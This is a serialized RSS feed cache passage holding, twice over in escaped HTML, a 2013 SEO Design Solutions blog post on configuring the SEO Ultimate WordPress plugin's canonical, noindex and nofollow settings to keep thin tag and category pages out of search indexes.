class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/wordpress-seo-tips-to-avoid-search-engine-penalties/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9220\&quot; alt=\&quot;SEO Ultimate Indexing Tips\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/spiders.jpg\&quot; width=\&quot;400\&quot; height=\&quot;225\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;How to Block Bots for Optimal SEO&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;In this post, we cover simple solutions to prevent redundant pages (pages with duplicate or minimal content) from getting indexed from the roving tarsus of search engine spiders.&lt;/p&gt;\n&lt;p&gt;Search engines use a &lt;a href=\&quot;http://en.wikipedia.org/wiki/Bag-of-words_model\&quot;&gt;bag of words model&lt;/a&gt; to deduce market-focus (&lt;em&gt;what each page is about&lt;/em&gt;) and topicality and relevancy are often lost when boilerplate templates, category pages, tags or archives pages are left wide-open for spiders to crawl.&lt;/p&gt;\n&lt;p&gt;By eliminating digital stragglers (thin pages), you’ll bolster your websites relevancy by having a higher percentage of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;&gt;unique indexed content&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9219\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;While users might observe a tag page, a search engine is programmed to view that page as &lt;b&gt;redundant content&lt;/b&gt; with very few classifiers to distinguish itself from the boilerplate template.&lt;/p&gt;\n&lt;p&gt;In fact, this is one of the prime directives of the Google Panda algorithm&lt;i&gt; (to eliminate low quality content through normalization within a body of documents&lt;/i&gt;) hence, pages like these often get ignored or suppressed.&lt;/p&gt;\n&lt;h3&gt;Avoid Rookie SEO Blunders&lt;/h3&gt;\n&lt;p&gt;Websites with a high percentage of duplicate or minimal content on pages (such as category, archives or tag pages) can trigger algorithmic suppression.&lt;/p&gt;\n&lt;p&gt;If your an avid SEO and understand HTML then you could simply implement a meta-robots command such as &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/duplicate-content-and-seo/\&quot;&gt;nofollow or noindex&lt;/a&gt;, but unless you want to do that painstakingly page by page, you’ll need a plugin such as &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; (&lt;strong&gt;The Premiere All-In-One WordPress SEO Plugin&lt;/strong&gt;) from &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO Design Solutions&lt;/a&gt; that allows you to quickly and easily implement control over robots (search engine spiders) and canonicalization on the fly.&lt;/p&gt;\n&lt;p&gt;If you are already using SEO Ultimate, chances are you have already implemented these changes. If not, then let’s get started by making your website canonical and segmenting any potential duplicate content penalties. This is particularly important to new websites so they can make a great first impression (by preventing non-canonical taxonomies or duplicate content from being indexed).&lt;/p&gt;\n&lt;p&gt;With Google constantly updating their algorithms (Penguin, Panda and the other zoo animals running amuck) you&amp;#8217;ll need to avoid tripping any algorithmic filters. Sharing content across multiple pages or thin content on boilerplate templates can devalue the integrity of your website architecture and spring these booby traps into action.&lt;/p&gt;\n&lt;p&gt;A splintering effect occurs dynamically by default when using WordPress. For example, when you create a post, that post also gets added to a category archive and if you use tags, then each tag also becomes a page with a link “via the excerpt” to the original post.&lt;/p&gt;\n&lt;p&gt;While implementing canonicalization helps, selective indexation via the &lt;strong&gt;Meta Robot Editor&lt;/strong&gt; module is an ideal countermeasure to prevent multiple pages from being indexed and potentially creating penalties. Keep in mind, if its not indexed, there is no penalty (which is the basis of the Meta Robot Editor).&lt;/p&gt;\n&lt;div id=\&quot;attachment_9221\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9221\&quot; alt=\&quot;Example of Category Archive Page with Cyclical Posts Under Category\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/category-archive.jpg\&quot; width=\&quot;500\&quot; height=\&quot;253\&quot; /&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Example of Category Archive Page with Cyclical Posts Under Category&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;From an end-user&amp;#8217;s perspective, tag pages are not ideal landing pages, which is why canonicalization is important. You want the search engines to show them the original page or post (not some tag or category archive).&lt;/p&gt;\n&lt;p&gt;Search engines have been known to suppress websites which allow tag pages and category archives to leach through into their index by relegating them to the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-to-increase-indexation/\&quot;&gt;supplemental results&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9225\&quot; alt=\&quot;Example of Cyclical Posts\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/cyclical-posts.jpg\&quot; width=\&quot;500\&quot; height=\&quot;252\&quot; /&gt;&lt;/p&gt;\n&lt;h3&gt;Taming the Search Engine Spiders&lt;/h3&gt;\n&lt;p&gt;First proceed to the SEO Ultimate module manager and make sure the &lt;b&gt;Canonicalizer&lt;/b&gt;, &lt;b&gt;Meta Robot Tags Editor&lt;/b&gt; module, &lt;b&gt;Miscellaneous &lt;/b&gt;module and &lt;b&gt;Nofollow Manager&lt;/b&gt; module are all enabled &amp;gt;&amp;gt;&amp;gt; then click the &lt;strong&gt;save change&lt;/strong&gt;s button.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9222\&quot; style=\&quot;border: 1px solid black;\&quot; alt=\&quot;SEO Ultimate Module Manager\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/module-manager-seo-ultimate.jpg\&quot; width=\&quot;500\&quot; height=\&quot;898\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;If you are wondering about what &lt;a href=\&quot;http://support.google.com/webmasters/bin/answer.py?hl=en&amp;amp;answer=139066\&quot;&gt;canonicalization&lt;/a&gt; is or why it matters, here&amp;#8217;s a brief synopsis in layman&amp;#8217;s terms.&lt;/p&gt;\n&lt;p&gt;&lt;b&gt;What it does:&lt;/b&gt; Canonicalizer will point Google to the correct URL for your homepage and each of your posts, Pages, categories, tags, date archives, and author archives.&lt;/p&gt;\n&lt;p&gt;&lt;b&gt;Why it helps:&lt;/b&gt; If Google comes across an alternate URL by which one of those items can be accessed, it will be able to find the correct URL and won’t penalize you for having two identical pages on your site.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter\&quot; alt=\&quot;SEO Ultimate Canonicalizer Module\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/canonicalizer.jpg\&quot; width=\&quot;500\&quot; height=\&quot;160\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Next, click the &lt;strong&gt;Canonicalizer Module&lt;/strong&gt; and under the &lt;b&gt;Canonical URL Generation&lt;/b&gt; setting tick the first two boxes:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Generate &lt;code&gt;&amp;lt;link rel=”canonical”/&amp;gt;&lt;/code&gt; meta tags and&lt;/li&gt;\n&lt;li&gt;Send &lt;code&gt;rel=”canonical”&lt;/code&gt; HTTP headers&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;This will ensure that any potential splintering of pages or posts are redirected to the primary page (helping Google avoid any potential confusion about your website architecture or data hierarchy).&lt;/p&gt;\n&lt;p&gt;Also, make sure you tick the &lt;b&gt;redirect requests for nonexistent pagination checkbox&lt;/b&gt; to add an automated 301 redirect for categories or archives that have recently changed due to adding or deleting content within the category or archive.&lt;/p&gt;\n&lt;p&gt;&lt;b&gt;Please Note:&lt;/b&gt; Canonicalizer improves on two WordPress features to minimize possible exact-content duplication penalties. The &lt;code&gt;&amp;lt;link rel=\&quot;canonical\&quot; /&amp;gt;&lt;/code&gt; tags setting improves on the canonical tags feature of WordPress 2.9 and above by encompassing much more of your site than just your posts and Pages.&lt;/p&gt;\n&lt;p&gt;The nonexistent pagination redirect feature fills a gap in WordPress’s built-in canonicalization functionality: for example, if a URL request is made for page 6 of a category archive, and that category doesn’t have a page 6, then by default, depending on the context, WordPress will display a blank page, or it will display the content of the closest page number available, without issuing a 404 error or a 301 redirect (thus creating two or more identical webpages).&lt;/p&gt;\n&lt;p&gt;This duplicate-content situation can happen when you, for example, remove many posts from a category, thus reducing the amount of pagination needed in the category’s archive. The Canonicalizer’s feature fixes that behavior by issuing 301 redirects to page 1 of the paginated section in question.&lt;/p&gt;\n&lt;h3&gt;Implementing the Nofollow and Meta Robot Tags Editor&lt;/h3&gt;\n&lt;p&gt;Since you are already in the &lt;strong&gt;Miscellaneous Module&lt;/strong&gt; scroll down until you see the &lt;b&gt;Nofollow Manager&lt;/b&gt; module&amp;gt;&amp;gt;&amp;gt; &lt;b&gt;Click All the Boxes&lt;/b&gt; and &lt;b&gt;save changes&lt;/b&gt; and your done with this step.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9224\&quot; alt=\&quot;The SEO Ultimate Nofollow Manager\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/Nofollow-Manager.jpg\&quot; width=\&quot;500\&quot; height=\&quot;345\&quot; /&gt;&lt;/p&gt;\n&lt;h3&gt;What is the Nofollow Manager?&lt;/h3&gt;\n&lt;p&gt;The &lt;strong&gt;“Nofollow Manager”&lt;/strong&gt; module lets you set the nofollow attribute on entire swaths of links on your site. Although Google has deprecated the use of nofollow for PageRank Sculpting in 2008, if you’re transitioning from another SEO plugin to SEO Ultimate, Nofollow Manager can help you maintain your existing settings if you’d rather take an &lt;strong&gt;“if it ain’t broke don’t fix it”&lt;/strong&gt; approach.&lt;/p&gt;\n&lt;p&gt;Regardless of whether or not you elect to use the &lt;strong&gt;Nofollow Manager&lt;/strong&gt; module as an on page SEO tactic, you can implement the &lt;strong&gt;Meta Robot Tags Editor&lt;/strong&gt; as a catch-all solution.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9226\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9226\&quot; alt=\&quot;Control default settings, pages, posts, media or term archives with the Meta Robot Tags Editor\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/SEO-Ultimate-Meta-Robot-Tags-Editor.jpg\&quot; width=\&quot;500\&quot; height=\&quot;331\&quot; /&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Control default settings, pages, posts, media or term archives with the Meta Robot Tags Editor&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Once complete simply save your changes and that will discourage bots from crawling the directories, pages, posts, categories, etc. listed above.&lt;/p&gt;\n&lt;p&gt;To take it a step further, you have the ability to granularly assign index or noindex or nofollow status to pages, posts, media, tags and post format archives (through either using the default settings or individually). Once default values are assigned, they will carry through to the other sections e.g. categories, tags, etc. unless you specify and overwrite the option by visiting the tabs specific to each type.&lt;/p&gt;\n&lt;p&gt;For a more detailed explaination of all the SEO Ultimate modules feel free to &lt;a href=\&quot;http://www.seodesignsolutions.com/wordpress-seo/\&quot;&gt;watch the video&lt;/a&gt;  here.&lt;/p&gt;\n&lt;p&gt;In closing, there is one more thing we suggest in the Settings&amp;gt;&amp;gt;&amp;gt;Permalinks&amp;gt;&amp;gt;&amp;gt; and changing from the default parameter to custom and using &lt;code&gt;/%category%/%postname%/&lt;/code&gt; to create &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-url-structure/\&quot;&gt;keyword-rich URL structure&lt;/a&gt; instead of the default URL output. This will give you more bang for your buck by creating keyword rich URL structures instead of the default P=ID# setting that WordPress generates by default.&lt;/p&gt;\n&lt;p&gt;Later in the week, we’ll discuss how to use the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-6-6/\&quot;&gt;SEO Ultimate Siloed Categories Widget&lt;/a&gt; in tandem with the Deeplink Juggernaut Module to quickly implement &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/website-silo-architecture-seo-siloing-simplified/\&quot;&gt;website silo architecture&lt;/a&gt; quickly and easily on your blog.&lt;/p&gt;\n&lt;p&gt;Make sure to check back for more SEO tips and tactics to d&lt;a&gt;istinguish your website in Search Engines &lt;/a&gt;from the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions Blog&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=-oVM60xjqBo:c-KbzmXVYjg:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/-oVM60xjqBo\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:369:\&quot;It’s no secret that WordPress is one of the most popular, easy-to-implement content management systems online. But just because it’s easy doesn’t mean that the out-of-the-box WordPress settings are ideal for optimal on page SEO. In fact, there&amp;#8217;s nothing farther from the truth. In this post, we cover simple solutions to prevent redundant pages (pages [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;7\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:105:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/wordpress-seo-tips-to-avoid-search-engine-penalties/\&quot;;}s:7:\&quot;summary\&quot;;s:369:\&quot;It’s no secret that WordPress is one of the most popular, easy-to-implement content management systems online. But just because it’s easy doesn’t mean that the out-of-the-box WordPress settings are ideal for optimal on page SEO. In fact, there&amp;#8217;s nothing farther from the truth. In this post, we cover simple solutions to prevent redundant pages (pages [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:12603:\&quot;&lt;p&gt;It’s no secret that WordPress is one of the most popular, easy-to-implement content management systems online. But just because it’s easy doesn’t mean that the &lt;strong&gt;out-of-the-box WordPress settings&lt;/strong&gt; are ideal for optimal on page SEO. In fact, there&amp;#8217;s nothing farther from the truth.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9220\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/wordpress-seo-tips-to-avoid-search-engine-penalties/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9220\&quot; alt=\&quot;SEO Ultimate Indexing Tips\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/spiders.jpg\&quot; width=\&quot;400\&quot; height=\&quot;225\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;How to Block Bots for Optimal SEO&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;In this post, we cover simple solutions to prevent redundant pages (pages with duplicate or minimal content) from getting indexed from the roving tarsus of search engine spiders.&lt;/p&gt;\n&lt;p&gt;Search engines use a &lt;a href=\&quot;http://en.wikipedia.org/wiki/Bag-of-words_model\&quot;&gt;bag of words model&lt;/a&gt; to deduce market-focus (&lt;em&gt;what each page is about&lt;/em&gt;) and topicality and relevancy are often lost when boilerplate templates, category pages, tags or archives pages are left wide-open for spiders to crawl.&lt;/p&gt;\n&lt;p&gt;By eliminating digital stragglers (thin pages), you’ll bolster your websites relevancy by having a higher percentage of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;&gt;unique indexed content&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9219\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;While users might observe a tag page, a search engine is programmed to view that page as &lt;b&gt;redundant content&lt;/b&gt; with very few classifiers to distinguish itself from the boilerplate template.&lt;/p&gt;\n&lt;p&gt;In fact, this is one of the prime directives of the Google Panda algorithm&lt;i&gt; (to eliminate low quality content through normalization within a body of documents&lt;/i&gt;) hence, pages like these often get ignored or suppressed.&lt;/p&gt;\n&lt;h3&gt;Avoid Rookie SEO Blunders&lt;/h3&gt;\n&lt;p&gt;Websites with a high percentage of duplicate or minimal content on pages (such as category, archives or tag pages) can trigger algorithmic suppression.&lt;/p&gt;\n&lt;p&gt;If your an avid SEO and understand HTML then you could simply implement a meta-robots command such as &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/duplicate-content-and-seo/\&quot;&gt;nofollow or noindex&lt;/a&gt;, but unless you want to do that painstakingly page by page, you’ll need a plugin such as &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; (&lt;strong&gt;The Premiere All-In-One WordPress SEO Plugin&lt;/strong&gt;) from &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO Design Solutions&lt;/a&gt; that allows you to quickly and easily implement control over robots (search engine spiders) and canonicalization on the fly.&lt;/p&gt;\n&lt;p&gt;If you are already using SEO Ultimate, chances are you have already implemented these changes. If not, then let’s get started by making your website canonical and segmenting any potential duplicate content penalties. This is particularly important to new websites so they can make a great first impression (by preventing non-canonical taxonomies or duplicate content from being indexed).&lt;/p&gt;\n&lt;p&gt;With Google constantly updating their algorithms (Penguin, Panda and the other zoo animals running amuck) you&amp;#8217;ll need to avoid tripping any algorithmic filters. Sharing content across multiple pages or thin content on boilerplate templates can devalue the integrity of your website architecture and spring these booby traps into action.&lt;/p&gt;\n&lt;p&gt;A splintering effect occurs dynamically by default when using WordPress. For example, when you create a post, that post also gets added to a category archive and if you use tags, then each tag also becomes a page with a link “via the excerpt” to the original post.&lt;/p&gt;\n&lt;p&gt;While implementing canonicalization helps, selective indexation via the &lt;strong&gt;Meta Robot Editor&lt;/strong&gt; module is an ideal countermeasure to prevent multiple pages from being indexed and potentially creating penalties. Keep in mind, if its not indexed, there is no penalty (which is the basis of the Meta Robot Editor).&lt;/p&gt;\n&lt;div id=\&quot;attachment_9221\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9221\&quot; alt=\&quot;Example of Category Archive Page with Cyclical Posts Under Category\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/category-archive.jpg\&quot; width=\&quot;500\&quot; height=\&quot;253\&quot; /&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Example of Category Archive Page with Cyclical Posts Under Category&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;From an end-user&amp;#8217;s perspective, tag pages are not ideal landing pages, which is why canonicalization is important. You want the search engines to show them the original page or post (not some tag or category archive).&lt;/p&gt;\n&lt;p&gt;Search engines have been known to suppress websites which allow tag pages and category archives to leach through into their index by relegating them to the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-to-increase-indexation/\&quot;&gt;supplemental results&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9225\&quot; alt=\&quot;Example of Cyclical Posts\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/cyclical-posts.jpg\&quot; width=\&quot;500\&quot; height=\&quot;252\&quot; /&gt;&lt;/p&gt;\n&lt;h3&gt;Taming the Search Engine Spiders&lt;/h3&gt;\n&lt;p&gt;First proceed to the SEO Ultimate module manager and make sure the &lt;b&gt;Canonicalizer&lt;/b&gt;, &lt;b&gt;Meta Robot Tags Editor&lt;/b&gt; module, &lt;b&gt;Miscellaneous &lt;/b&gt;module and &lt;b&gt;Nofollow Manager&lt;/b&gt; module are all enabled &amp;gt;&amp;gt;&amp;gt; then click the &lt;strong&gt;save change&lt;/strong&gt;s button.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9222\&quot; style=\&quot;border: 1px solid black;\&quot; alt=\&quot;SEO Ultimate Module Manager\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/module-manager-seo-ultimate.jpg\&quot; width=\&quot;500\&quot; height=\&quot;898\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;If you are wondering about what &lt;a href=\&quot;http://support.google.com/webmasters/bin/answer.py?hl=en&amp;amp;answer=139066\&quot;&gt;canonicalization&lt;/a&gt; is or why it matters, here&amp;#8217;s a brief synopsis in layman&amp;#8217;s terms.&lt;/p&gt;\n&lt;p&gt;&lt;b&gt;What it does:&lt;/b&gt; Canonicalizer will point Google to the correct URL for your homepage and each of your posts, Pages, categories, tags, date archives, and author archives.&lt;/p&gt;\n&lt;p&gt;&lt;b&gt;Why it helps:&lt;/b&gt; If Google comes across an alternate URL by which one of those items can be accessed, it will be able to find the correct URL and won’t penalize you for having two identical pages on your site.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter\&quot; alt=\&quot;SEO Ultimate Canonicalizer Module\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/canonicalizer.jpg\&quot; width=\&quot;500\&quot; height=\&quot;160\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Next, click the &lt;strong&gt;Canonicalizer Module&lt;/strong&gt; and under the &lt;b&gt;Canonical URL Generation&lt;/b&gt; setting tick the first two boxes:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Generate &lt;code&gt;&amp;lt;link rel=”canonical”/&amp;gt;&lt;/code&gt; meta tags and&lt;/li&gt;\n&lt;li&gt;Send &lt;code&gt;rel=”canonical”&lt;/code&gt; HTTP headers&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;This will ensure that any potential splintering of pages or posts are redirected to the primary page (helping Google avoid any potential confusion about your website architecture or data hierarchy).&lt;/p&gt;\n&lt;p&gt;Also, make sure you tick the &lt;b&gt;redirect requests for nonexistent pagination checkbox&lt;/b&gt; to add an automated 301 redirect for categories or archives that have recently changed due to adding or deleting content within the category or archive.&lt;/p&gt;\n&lt;p&gt;&lt;b&gt;Please Note:&lt;/b&gt; Canonicalizer improves on two WordPress features to minimize possible exact-content duplication penalties. The &lt;code&gt;&amp;lt;link rel=\&quot;canonical\&quot; /&amp;gt;&lt;/code&gt; tags setting improves on the canonical tags feature of WordPress 2.9 and above by encompassing much more of your site than just your posts and Pages.&lt;/p&gt;\n&lt;p&gt;The nonexistent pagination redirect feature fills a gap in WordPress’s built-in canonicalization functionality: for example, if a URL request is made for page 6 of a category archive, and that category doesn’t have a page 6, then by default, depending on the context, WordPress will display a blank page, or it will display the content of the closest page number available, without issuing a 404 error or a 301 redirect (thus creating two or more identical webpages).&lt;/p&gt;\n&lt;p&gt;This duplicate-content situation can happen when you, for example, remove many posts from a category, thus reducing the amount of pagination needed in the category’s archive. The Canonicalizer’s feature fixes that behavior by issuing 301 redirects to page 1 of the paginated section in question.&lt;/p&gt;\n&lt;h3&gt;Implementing the Nofollow and Meta Robot Tags Editor&lt;/h3&gt;\n&lt;p&gt;Since you are already in the &lt;strong&gt;Miscellaneous Module&lt;/strong&gt; scroll down until you see the &lt;b&gt;Nofollow Manager&lt;/b&gt; module&amp;gt;&amp;gt;&amp;gt; &lt;b&gt;Click All the Boxes&lt;/b&gt; and &lt;b&gt;save changes&lt;/b&gt; and your done with this step.&lt;/p&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9224\&quot; alt=\&quot;The SEO Ultimate Nofollow Manager\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/Nofollow-Manager.jpg\&quot; width=\&quot;500\&quot; height=\&quot;345\&quot; /&gt;&lt;/p&gt;\n&lt;h3&gt;What is the Nofollow Manager?&lt;/h3&gt;\n&lt;p&gt;The &lt;strong&gt;“Nofollow Manager”&lt;/strong&gt; module lets you set the nofollow attribute on entire swaths of links on your site. Although Google has deprecated the use of nofollow for PageRank Sculpting in 2008, if you’re transitioning from another SEO plugin to SEO Ultimate, Nofollow Manager can help you maintain your existing settings if you’d rather take an &lt;strong&gt;“if it ain’t broke don’t fix it”&lt;/strong&gt; approach.&lt;/p&gt;\n&lt;p&gt;Regardless of whether or not you elect to use the &lt;strong&gt;Nofollow Manager&lt;/strong&gt; module as an on page SEO tactic, you can implement the &lt;strong&gt;Meta Robot Tags Editor&lt;/strong&gt; as a catch-all solution.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9226\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9226\&quot; alt=\&quot;Control default settings, pages, posts, media or term archives with the Meta Robot Tags Editor\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/02/SEO-Ultimate-Meta-Robot-Tags-Editor.jpg\&quot; width=\&quot;500\&quot; height=\&quot;331\&quot; /&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Control default settings, pages, posts, media or term archives with the Meta Robot Tags Editor&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Once complete simply save your changes and that will discourage bots from crawling the directories, pages, posts, categories, etc. listed above.&lt;/p&gt;\n&lt;p&gt;To take it a step further, you have the ability to granularly assign index or noindex or nofollow status to pages, posts, media, tags and post format archives (through either using the default settings or individually). Once default values are assigned, they will carry through to the other sections e.g. categories, tags, etc. unless you specify and overwrite the option by visiting the tabs specific to each type.&lt;/p&gt;\n&lt;p&gt;For a more detailed explaination of all the SEO Ultimate modules feel free to &lt;a href=\&quot;http://www.seodesignsolutions.com/wordpress-seo/\&quot;&gt;watch the video&lt;/a&gt;  here.&lt;/p&gt;\n&lt;p&gt;In closing, there is one more thing we suggest in the Settings&amp;gt;&amp;gt;&amp;gt;Permalinks&amp;gt;&amp;gt;&amp;gt; and changing from the default parameter to custom and using &lt;code&gt;/%category%/%postname%/&lt;/code&gt; to create &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-url-structure/\&quot;&gt;keyword-rich URL structure&lt;/a&gt; instead of the default URL output. This will give you more bang for your buck by creating keyword rich URL structures instead of the default P=ID# setting that WordPress generates by default.&lt;/p&gt;\n&lt;p&gt;Later in the week, we’ll discuss how to use the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-6-6/\&quot;&gt;SEO Ultimate Siloed Categories Widget&lt;/a&gt; in tandem with the Deeplink Juggernaut Module to quickly implement &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/website-silo-architecture-seo-siloing-simplified/\&quot;&gt;website silo architecture&lt;/a&gt; quickly and easily on your blog.&lt;/p&gt;\n&lt;p&gt;Make sure to check back for more SEO tips and tactics to d&lt;a&gt;istinguish your website in Search Engines &lt;/a&gt;from the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions Blog&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=-oVM60xjqBo:c-KbzmXVYjg:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/-oVM60xjqBo\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:8;a:12:{s:5:\&quot;title\&quot;;s:59:\&quot;SEO Ultimate WordPress Plugin Surpasses 1 Million Downloads\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/2PPuJxVFZnE/\&quot;;s:8:\&quot;category\&quot;;s:84:\&quot;WordPress SEOSEO UltimateSEO Ultimate Passes 1 Million DownloadsWordPress SEO Plugin\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Fri, 18 Jan 2013 00:30:27 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9208\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:4281:\&quot;&lt;p&gt;Today our team rejoiced as &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; (the Swiss-army-knife of SEO Plugins) surpassed the &lt;strong&gt;1 Million download benchmark&lt;/strong&gt; from 